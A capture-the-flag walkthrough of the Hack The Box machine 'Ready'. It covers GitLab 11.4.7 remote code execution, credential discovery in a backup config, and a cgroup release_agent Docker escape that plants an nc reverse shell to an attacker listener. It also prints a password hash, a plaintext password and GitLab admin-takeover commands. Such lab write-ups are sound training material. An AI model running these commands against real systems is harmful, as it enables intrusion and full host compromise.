Walktrough: HTB Ready
Hello guys!
This week’s machine will be Ready, another median-rated machine from Hack The Box, created by bertolis.
Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.
This machine had a very interesting resolution, where we’ll exploit a vulnerable version of GitLab Server and then escape the docker container to obtain the root flag.
Enumeration
As usual, we start with a nmap
quick scan, to identify the services currently published on this machine:
$ nmap -sC -sV -Pn -oA quick 10.10.10.220
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 12:05 -03
Nmap scan report for 10.10.10.220
Host is up (0.078s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds
5080/TCP - HTTP Service
As we can see in nmap
output, a GitLab Server Community is running. Similar to Laboratory, proceeded with an account creation to have access to public repositories in this server that could help us proceed in this box.
After account creation, no repository was found but noticed that the running GitLab Server version was 11.4.7, as we can see in the image below.
Initial Foothold
After a quick search on searchsploit
for the listed version, identified some available exploits that could be used.
$ searchsploit gitlab 11.4.7
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Using the last result (49334.py), noticed that it didn’t allowed us to set the service port, which required some edit, as well as an issue in the payload generation, where was necessary to update the parameter local_port
to local_port = args.P
.
$ python3 49334.py -h
usage: 49334.py [-h] -u U -p P -g G -l L -P P
GitLab 11.4.7 RCE
optional arguments:
-h, --help show this help message and exit
-u U GitLab Username/Email
-p P Gitlab Password
-g G Gitlab URL (without port)
-l L reverse shell ip
-P P reverse shell port
Also, was necessary to change the payload used, once it wasn’t exporting the shell in nc
session, preventing us from interacting with the machine.
After these changes, obtained a reverse shell as user git in the directory ~/gitlab-rails/working
User flag
After initial shell, started enumeration using linenum.sh
, where the following details called attention:
-
App execution inside a docker container, being necessary to escape to the host later.
-
There’s a local user
dude
(id=1000), where the user flaguser.txt
resides in his home directory. -
Obtained the GitLab Server credentials dump, where the user
root
is the only one with privileges, which has the password hash below:username e-mail admin hash root admin@example.com true $2a$10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2
Based on the information above, first thing tried was to check the required privileges to read user.txt
, where we identified that git
user had access, so we’ve collected it.
git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec 7 16:58 .
drwxr-xr-x 1 root root 4096 Dec 2 10:45 ..
lrwxrwxrwx 1 root root 9 Dec 7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 dude dude 655 May 16 2017 .profile
-r--r----- 1 dude git 33 Dec 2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt
<redacted>
Root flag
Next step would be obtaining the root credential to read the root.txt
flag. As we had his password hash would be easy to crack it or search in internet but, as this task consumes lot of time and resources, decided to skip this for now as this hash wasn’t still publicly known.
During the enumeration, the information was also shared along with the credential dump:
If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner ‘user = User.find_by(email: “youruser@example.com”); user.admin = TRUE; user.save!’ Alternatively, you could change the password of any user by running: gitlab-rails runner ‘user = User.find_by(email: “admin@example.com”); user.password = “pass_peass_pass”; user.password_confirmation = “pass_peass_pass”; user.save!’
Based on that, proceeded with the root account password reset as recommended, but no private repository or additional information was found, that could help us succeed on obtaining root’s credentials.
That said, decided to perform a manual enumeration and, looking for backups in the file system, found a directory /opt/backup/
, that contained several files inside it.
Performing an grep
search on it looking for passwords (passwd
, password
, pwd
), found an entry that called attention on /opt/backup/gitlab.rb
, as we can see in the output below, after removing commented and blank lines.
git@gitlab:/opt/backup$ cat /opt/backup/gitlab.rb | grep -Ev '^#|^$'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
git@gitlab:/opt/backup$
With this credential, tested it for the user root
and succeeded, but in root’s home path there was no root.txt
, indicating that we’ll need to escape the container to obtain the root’s flag.
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup# ls -la /root
total 28
drwx------ 1 root root 4096 Feb 27 13:24 .
drwxr-xr-x 1 root root 4096 Dec 1 12:41 ..
lrwxrwxrwx 1 root root 9 Dec 7 16:56 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 2 root root 4096 Feb 27 13:24 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Dec 7 16:49 .ssh
-rw------- 1 root root 1565 Dec 13 15:06 .viminfo
root@gitlab:/opt/backup#
Escaping container
Once we have privileged access inside the container, if it is running under specific circunstancies, we can escape to the host as was very well documented in this blog post Understanding Docker container escapes | Trail of Bits Blog, found after some research in this scenario.
Following the step-by-step described on it, created a listener in 4443 TCP in attacker machine and executed the following steps using root privileges, obtaining this way a reverse shell.
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
In the received connection, confirmed that we were in the host running docker ps
command and then obtained the root flag.
$ nc -lnvp 4443
listening on [any] 4443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.220] 38246
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7eb263389e5e gitlab/gitlab-ce:11.4.7-ce.0 "/assets/wrapper" 2 months ago Up 5 hours (healthy) 22/tcp, 443/tcp, 0.0.0.0:5080->80/tcp docker-gitlab_web_1
# cat /root/root.txt
<redacted>
I hope you guys have enjoyed.
See you in the next post!
Leave a comment